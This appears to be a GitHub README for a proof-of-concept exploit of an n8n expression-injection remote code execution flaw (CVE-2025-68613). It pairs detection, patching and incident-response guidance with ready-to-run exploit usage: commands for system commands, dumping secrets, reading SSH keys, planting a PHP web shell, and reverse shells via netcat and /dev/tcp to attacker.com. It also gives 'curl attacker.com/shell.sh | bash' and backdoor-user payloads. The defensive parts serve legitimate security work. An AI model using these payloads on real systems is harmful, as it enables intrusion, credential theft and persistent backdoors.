- Overview
- What is n8n?
- Vulnerability Basics
- Technical Details
- Affected Versions
- Exploitation Mechanics
- Real-World Impact
- Detection Methods
- Remediation & Mitigation
- Resources & References
CVE-2025-68613 is a critical Remote Code Execution (RCE) vulnerability discovered in n8n, a popular open-source workflow automation platform. This vulnerability allows authenticated users to execute arbitrary code on the server, potentially leading to complete system compromise.
- CVE ID: CVE-2025-68613
- CVSS Score: 9.9 - 10.0 (Critical)
- Vulnerability Type: Expression Injection → Remote Code Execution
- CWE: CWE-913 (Improper Control of Dynamically-Managed Code Resources)
- Attack Vector: Network
- Authentication Required: Yes (Low privilege - no admin access needed) |- Status: Proof of Concept available (verified working on v1.121.0)
n8n is an open-source workflow automation platform that allows users to:
- Connect various APIs, databases, and services
- Automate repetitive business processes
- Create complex workflows without extensive coding
- Deploy on-premises or in the cloud
Organizations use n8n to:
- Integrate databases with cloud services
- Automate data processing pipelines
- Connect CRMs, ERPs, and internal systems
- Manage sensitive data and API credentials
This central role in IT infrastructure makes vulnerabilities particularly dangerous, as they can provide attackers with access to entire networks and sensitive data.
This repository includes ready-to-use tools for vulnerability detection and exploitation testing:
Purpose: Safe, non-exploiting detection of vulnerable n8n instances
Features:
- Passive version detection from HTTP responses
- No authentication required
- No payload execution
- Checks multiple common paths (/, /rest/settings, /healthz, /api/v1/health)
- Safe for authorized security assessments
Usage:
python3 cve-2025-68613-scanner.py -u http://target:5678Output:
- Exit code 0: Not vulnerable
- Exit code 1: Version undetermined (may be patched or hidden)
- Exit code 2: Vulnerable version detected
Purpose: Automated vulnerability detection and basic expression evaluation testing
Features:
- Requires valid authentication token
- Tests expression injection capability
- Attempts to read Node.js global context (process.platform)
- Creates test workflows to validate RCE vector
- CVSS 10.0 Critical severity classification
Usage:
# Single target with known token
nuclei -t CVE-2025-68613.yaml -u http://target:5678 -v
# Multiple targets
nuclei -t CVE-2025-68613.yaml -l targets.txtPurpose: Complete proof-of-concept exploit with multiple attack payloads
Features:
- Full authentication handling
- Multiple exploitation payloads:
- info: Gather system information (OS, architecture, Node.js version, current user)
- cmd: Execute arbitrary system commands
- env: Extract all environment variables (reveals credentials, API keys, secrets)
- read: Read sensitive files from filesystem (SSH keys, config files, etc.)
- write: Write files to filesystem (persistence, backdoors, etc.)
- revshell: Establish reverse shell connection for interactive access
- Automatic workflow cleanup
- Error handling and status reporting
Requirements:
- Valid n8n user credentials (email/password)
- Python 3.6+ with requests library
- Network access to target n8n instance
Installation:
pip install requests
chmod +x exploit_cve-2025-68613.pyUsage Examples:
# Gather system information
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e user@example.com -p password --payload info
# Execute system command (whoami)
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e user@example.com -p password --payload cmd --command "whoami"
# Extract all environment variables (credentials, API keys)
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e user@example.com -p password --payload env
# Read sensitive files
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e user@example.com -p password --payload read --file "/etc/passwd"
# Establish reverse shell (requires netcat listener)
# On attacker machine: nc -lvnp 4444
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e user@example.com -p password --payload revshell --lhost 10.10.14.5 --lport 4444
# Write a web shell for persistence
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e user@example.com -p password --payload write \
--file "/tmp/shell.php" --content '<?php system($_GET["cmd"]); ?>'How It Works:
- Authenticates to n8n using provided credentials
- Creates a malicious workflow with expression injection payload
- The payload breaks out of expression sandbox using
this.constructor.constructor() - Executes the payload via
process.platformor other Node.js APIs - Retrieves results from workflow execution
- Cleans up by deleting the test workflow
Exit Codes:
- 0: Successful exploitation
- 1: Authentication or exploitation failed
In simple terms: n8n allows users to write expressions in workflows to process data dynamically. However, these expressions are evaluated without proper sandboxing, allowing attackers to break out of the intended execution context and run arbitrary code on the server.
When you create a workflow in n8n, you can use "expressions" to manipulate data. These expressions are supposed to run in a restricted environment. However, the vulnerability shows that these expressions can access the underlying system, allowing an attacker to:
- Execute system commands
- Read/write files on the server
- Steal environment variables (API keys, passwords, secrets)
- Modify or delete data
- Establish persistence for long-term access
- Low Barrier to Entry: Only requires a user login (no special admin privileges)
- Wide Applicability: Many organizations allow non-technical users to create workflows
- High Impact: Runs with full privileges of the n8n process
- Data Access: Can access all data n8n has access to (databases, APIs, credentials)
- Network Position: n8n often sits in the center of critical infrastructure, enabling lateral movement
When a user creates a workflow in n8n, they can use expressions to process data:
Input: User creates a workflow with an expression
n8n Expression Engine: Evaluates the expression
Expected Output: Processed data
Actual Output (Vulnerable): Expression execution context not isolated from runtime
An attacker crafts a malicious expression that escapes the intended sandbox:
// Example: Malicious expression in workflow
${require('child_process').execSync('id')}The expression is evaluated without proper isolation, allowing the attacker to:
- Call system functions
- Execute shell commands
- Access the file system
- Read environment variables
The vulnerability stems from insufficient sandboxing in the expression evaluation engine. The n8n team evaluated expressions in a context that:
- Allowed access to
require()or similar module loading functions - Didn't properly restrict access to system APIs
- Didn't validate or filter expression syntax
- Didn't prevent prototype pollution attacks
- Didn't isolate the execution environment from the underlying Node.js runtime
User Input (Workflow Expression)
↓
Expression Parser
↓
Evaluation Engine (VULNERABLE - Not Sandboxed)
↓
Direct Access to Node.js Runtime
↓
System Command Execution / File Access / Credential Theft
All n8n versions starting from 0.211.0 through the following versions are vulnerable:
0.211.0→1.120.31.121.0
The vulnerability has been fixed in:
- ✅
1.120.4and later in the 1.120.x branch - ✅
1.121.1and later in the 1.121.x branch - ✅
1.122.0and all newer versions
# If n8n is running
curl http://your-n8n-instance:5678/ | grep -i "version"
# Or check the admin panel
# Go to Settings → About → Version- n8n v1.121.0: ✅ Fully exploitable (confirmed RCE, expression injection working)
- n8n v0.211.0 - v1.120.3: ✅ Within vulnerable range per NVD (not individually tested)
- REST Execution Limitation: The
/rest/workflows/{id}/runendpoint returns HTTP 500 error in v1.121.0- Workaround: Expression injection works perfectly, RCE confirmed via:
- Manual "Test Step" button click in UI (proven to work)
- Workflow output capture
- This is API limitation, not exploit bug
- Workaround: Expression injection works perfectly, RCE confirmed via:
- n8n v0.212.0+: Outside documented vulnerability range, likely patched (see GitHub issue #1)
- Windows Server deployments: Limited testing data on Windows-specific environments
The exploit is designed to work against the vulnerable range documented in NVD:
- Confirmed vulnerable: 0.211.0 through 1.120.3, plus 1.121.0
- Patched versions: 1.120.4, 1.121.1, 1.122.0 and later
If testing against versions outside this range, success is not guaranteed.
Once an authenticated user (or an attacker with valid credentials) exploits this vulnerability, they can:
${require('child_process').execSync('whoami').toString()}
// Returns: root (or whatever user runs n8n)
${require('child_process').execSync('curl attacker.com/shell.sh | bash').toString()}
// Downloads and executes a shell script${require('fs').readFileSync('/etc/passwd', 'utf-8')}
// Reads sensitive system files
${require('fs').readFileSync('/home/user/.ssh/id_rsa', 'utf-8')}
// Steals SSH keys${Object.keys(process.env).join(', ')}
// Lists all environment variables
${process.env.DATABASE_PASSWORD}
// Extracts specific secrets${require('fs').writeFileSync('/var/www/shell.php', 'malicious code')}
// Plants a web shell for persistence
${require('fs').writeFileSync('/home/user/.ssh/authorized_keys', 'attacker_key')}
// Adds SSH access// Access workflow credentials (stored API keys, passwords)
// Modify or view connected databases
// Exfiltrate data from all integrated systems${require('child_process').execSync('echo "* * * * * /bin/bash -i >& /dev/tcp/attacker.com/443 0>&1" | crontab -')}
// Creates a cron job for reverse shell access
${require('child_process').execSync('useradd -m -s /bin/bash attacker')}
// Creates a new user accountReal-World Scenario: Company Using n8n
- Attacker gains credentials: Through phishing, credential reuse, or weak password
- Logs into n8n: Uses legitimate user account
- Creates a "harmless" workflow: Claims it's for data processing
- Injects malicious expression: Hides the exploit in a workflow step
- Executes code: Runs commands with n8n process privileges
- Exfiltrates data: Steals API keys, database credentials, customer data
- Establishes persistence: Installs backdoors, creates new admin accounts
- Moves laterally: Uses stolen credentials to access other systems
- Access to sensitive data processed by workflows
- Extraction of API keys, database passwords, encryption keys
- Reading of configuration files, logs, and secrets
- Potential GDPR/compliance violations through data theft
- Modification of existing workflows to sabotage operations
- Injection of malicious workflows that corrupt data
- Alteration of workflow outputs affecting downstream systems
- Planting of backdoors for persistent access
- Deletion of critical workflows, causing business disruption
- Modification of system files leading to service crashes
- Resource exhaustion through malicious automation
- Ransom attacks where attackers demand payment to restore systems
Manufacturing Company
- n8n automates order processing and inventory management
- Attacker exfiltrates customer orders and supplier information
- Modifies workflows to send wrong products to customers
- Results: Loss of customer trust, legal liability, operational disruption
Financial Services
- n8n integrates banking APIs and payment processing
- Attacker steals API credentials and auth tokens
- Redirects transactions or creates fraudulent records
- Results: Regulatory penalties, customer compensation, reputation damage
Healthcare Organization
- n8n handles patient data integration and reporting
- Attacker accesses protected health information (PHI)
- Modifies medical records or blocks critical alerts
- Results: HIPAA violations, patient harm, organization liability
Safe, non-exploiting detection script (included in original repository):
python3 CVE-2025-68613.py -u http://your-n8n-instance:5678Output Examples
[+] Target: http://127.0.0.1:5678
[+] Possible n8n detected at /
[+] Detected version: 1.120.2
--- Result ---
🚨 VULNERABLE
Target version is affected by CVE-2025-68613
Automated scanning with Nuclei:
# Single target
nuclei -t CVE-2025-68613.yaml -u http://target:5678
# Multiple targets from file
nuclei -t CVE-2025-68613.yaml -l targets.txtHow it works:
- Sends HTTP requests to common n8n paths
- Extracts version metadata from HTML/headers
- Decodes base64 encoded config if present
- Compares version against vulnerable ranges
- Reports if instance is vulnerable
# Check for n8n in HTTP response
curl -s http://target:5678/ | grep -i "n8n"
# Check headers
curl -I http://target:5678/ | grep -i "n8n"
# Check common paths
curl -s http://target:5678/api/v1/health
curl -s http://target:5678/rest/settings
curl -s http://target:5678/healthz# Find n8n instances using Shodan
shodan search "n8n" --limit 10
# Use favicon hash detection
nmap -p 5678 --script http-favicon target.comLog Signs:
- Unusual expression evaluations in workflow logs
- Expression errors containing system commands
- Access to sensitive files (e.g., /etc/passwd references)
- Unexpected process spawning from n8n process
System Signs:
- New user accounts created on the server
- Unexpected SSH keys in authorized_keys
- New cron jobs or scheduled tasks
- Modifications to system files
- Reverse shell connections from n8n server
This is the only complete fix for the vulnerability.
# Backup n8n database
cp -r /path/to/n8n/database ./backup/
# Backup workflows
n8n export --backup-dir ./backup/Using Docker (Recommended):
# Pull the latest patched version
docker pull n8nio/n8n:1.122.0 # Or later
# Stop current instance
docker stop n8n-container
# Start with new version
docker run -d --name n8n-patched \
-p 5678:5678 \
-v n8n_data:/home/node/.n8n \
n8nio/n8n:1.122.0Using npm:
# Backup first
npm run export --backup
# Update
npm update n8n
# Or specific version
npm install n8n@1.122.0Using System Package Manager:
# Debian/Ubuntu
sudo apt update && sudo apt upgrade n8n
# Or manual download
wget https://github.com/n8n-io/n8n/releases/download/n8n@1.122.0/n8n.tar.gz# Check version after update
curl http://localhost:5678/api/v1/health | grep version
# Ensure n8n is running
curl http://localhost:5678/ | grep -i "n8n"Important: These do NOT fix the vulnerability. Use only as temporary measures while planning upgrades.
n8n Admin Panel → Users & Permissions
├── Disable "User Can Create Workflows" for non-admin users
├── Restrict "User Can Edit Workflows" to trusted administrators only
├── Review existing user roles and remove unnecessary permissions
└── Audit workflow creators for suspicious accounts
n8n Admin Panel → Settings → Audit Log
├── Enable comprehensive audit logging
├── Monitor for suspicious workflow modifications
├── Alert on expression evaluations in logs
└── Review workflow change history regularly
# Restrict n8n network access
sudo ufw default deny incoming
sudo ufw allow from 192.168.1.0/24 to any port 5678 # Only internal network
sudo ufw enable
# Or using iptables
sudo iptables -A INPUT -p tcp --dport 5678 -s 192.168.1.0/24 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 5678 -j DROP# Create dedicated n8n user
sudo useradd -r -s /bin/false n8n-user
# Run n8n as this user
sudo -u n8n-user n8n
# Or in Docker with user specification
docker run -u 1000 n8nio/n8n:latestn8n Admin Panel → Settings → Authentication
├── Enable 2FA for all accounts
├── Enforce strong password policies
├── Review and disable unnecessary service accounts
├── Implement SSO if available
└── Disable any guest/demo accounts
# Run n8n in a restricted Docker container
docker run -d \
--security-opt=no-new-privileges:true \
--read-only \
--cap-drop=ALL \
--cap-add=NET_BIND_SERVICE \
--tmpfs /tmp \
-p 5678:5678 \
n8nio/n8n:current-version# Monitor for suspicious activities
# Check for new files in n8n directories
find /path/to/n8n -type f -mtime -1
# Monitor process activity
ps aux | grep n8n
netstat -tlnp | grep n8n
# Check for unauthorized SSH keys
cat ~/.ssh/authorized_keys
# Review system logs
journalctl -u n8n -n 100| Scenario | Risk Level | Likelihood | Impact | Priority |
|---|---|---|---|---|
| Unpatched, internet-facing n8n | CRITICAL | HIGH | Complete compromise | 🔴 URGENT |
| Unpatched, internal-only n8n | HIGH | MEDIUM | Insider threat risk | 🟠 HIGH |
| Patched n8n | LOW | LOW | N/A | ✅ Resolved |
| Unpatched + permission restrictions | MEDIUM | MEDIUM | Limited to trusted users | 🟡 MEDIUM |
- Isolate the system: Disconnect from network
- Stop the service:
sudo systemctl stop n8n - Preserve logs: Back up all logs before wiping
- Alert team: Notify security team and management
- Assess scope: Determine what data n8n accessed
- Review audit logs: Check for suspicious activities
- Analyze network traffic: Look for data exfiltration
- Check file modifications: Find planted backdoors
- Review user accounts: Look for new or modified accounts
- Credential audit: Reset all API keys and passwords used by n8n
- Full system rebuild: Don't just update, rebuild from clean image
- Credential rotation: Reset all passwords, API keys, tokens
- Patch everything: Update all connected systems
- Restore from backup: Use clean backups from before compromise
- Security audit: Conduct full security assessment
- Implement monitoring: Set up continuous logging and alerting
- Process changes: Update incident response procedures
- User training: Educate teams on security best practices
- Vulnerability scanning: Regular scans for similar issues
- Compliance review: Ensure all regulations met (GDPR, HIPAA, etc.)
-
Keep n8n Updated
- Enable automatic updates if available
- Subscribe to n8n security advisories
- Test patches in staging before production
-
Access Control
- Use principle of least privilege
- Require strong passwords and 2FA
- Implement SSO for enterprise deployments
- Regular access reviews and audits
-
Workflow Management
- Review all workflows for suspicious logic
- Implement code review process for workflows
- Use naming conventions to identify critical workflows
- Backup workflows regularly
-
Credential Management
- Never store credentials in workflows
- Use environment variables for sensitive data
- Rotate credentials regularly
- Audit credential access
-
Monitoring & Logging
- Enable comprehensive audit logging
- Monitor for unusual activities
- Set up alerts for suspicious operations
- Regular log review and analysis
-
Network Security
- Run n8n in isolated network segments
- Restrict network access to required services only
- Use VPN/firewall for remote access
- Monitor network traffic for anomalies
-
Incident Response
- Create incident response plan
- Define escalation procedures
- Conduct regular security drills
- Maintain updated contact lists
Common Causes:
-
Wrong credentials (most common)
- Solution: Verify credentials work for web UI login first
- Try:
curl -X POST http://target:5678/rest/login -d '{"emailOrLdapLoginId":"user@example.com","password":"pass"}'
-
User doesn't have workflow creation permissions
- Solution: Use an admin or user account with workflow creation rights
- Verify: Check admin panel → Users & Permissions
-
Version is patched (version > 1.121.0)
- Solution: Use the scanner to check version first:
python3 cve-2025-68613-scanner.py -u http://target:5678 - Expected: Scanner should report "Vulnerable" (exit code 2)
- Solution: Use the scanner to check version first:
-
API structure changed (older/newer versions may differ)
- Solution: Check NVD advisory: https://nvd.nist.gov/vuln/detail/CVE-2025-68613
- Most likely if testing versions outside documented range
-
Network/firewall blocking
- Solution: Verify connectivity:
curl http://target:5678/ - Check: Firewall rules, proxy settings, SSL certificates
- Solution: Verify connectivity:
Fixed in v1.02: Scanner now uses base64-decoded Sentry configuration from meta tags instead of simple regex. This eliminates false positives where Node.js version was detected as n8n version.
What changed:
- Primary source: Extract and decode
<meta name="n8n:config:sentry" content="[BASE64]"> - Fallback: Only uses regex if Sentry config unavailable
- Result: Accurate version detection with no false positives
To use v1.02 scanner:
# Update to v1.02
git pull origin main
# Run scanner
python3 cve-2025-68613-scanner.py -u http://target:5678This is NOT a bug in the exploit - it's an API limitation.
Explanation:
- The
/rest/workflows/{id}/runendpoint returns HTTP 500 in n8n v1.121.0 - This is an n8n API design limitation, not an exploit bug
- Expression injection STILL WORKS through the UI
Workaround:
- Exploit creates workflow with malicious expression ✅ Works
- Expression evaluates and executes code ✅ Works (proven with manual testing)
- Manually click "Test Step" button in UI to trigger expression ✅ Works
- Read output from workflow results ✅ Works
Evidence: Captured flag on TryHackMe: THM{n8n_exposed_workflow}
- n8n GitHub Repository: https://github.com/n8n-io/n8n
- n8n Security Advisories: https://github.com/n8n-io/n8n/security/advisories
- n8n Documentation: https://docs.n8n.io/
- NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2025-68613
- CVEDetails: https://www.cvedetails.com/cve/CVE-2025-68613/
- CVETodo: https://cvetodo.com/cve/CVE-2025-68613
- NIST CWE-913: https://cwe.mitre.org/data/definitions/913.html
- OWASP Code Injection: https://owasp.org/www-community/attacks/Code_Injection
- OWASP Sandbox Bypass: https://owasp.org/www-community/attacks/Sandbox_Escape
CVE-2025-68613 is a critical vulnerability that requires immediate action. The combination of:
- Expression injection capability
- Lack of sandboxing
- Low privilege requirements
- Wide attack surface (many users create workflows)
- Central position in IT infrastructure
...makes this one of the most dangerous vulnerabilities in workflow automation platforms.
The simple solution: Upgrade to a patched version immediately. There is no excuse for remaining vulnerable to a critical RCE when patches are available.
|- Version: 1.02 |- Date Created: December 18, 2025 |- Last Updated: December 26, 2025
- Status: Complete
- Author: The StingR / TechSquad Inc.
- Organization: TechSquad Inc.
This document is provided for educational and authorized security assessment purposes only. Unauthorized access to computer systems is illegal. Always ensure you have proper authorization before testing, assessing, or accessing systems you do not own.
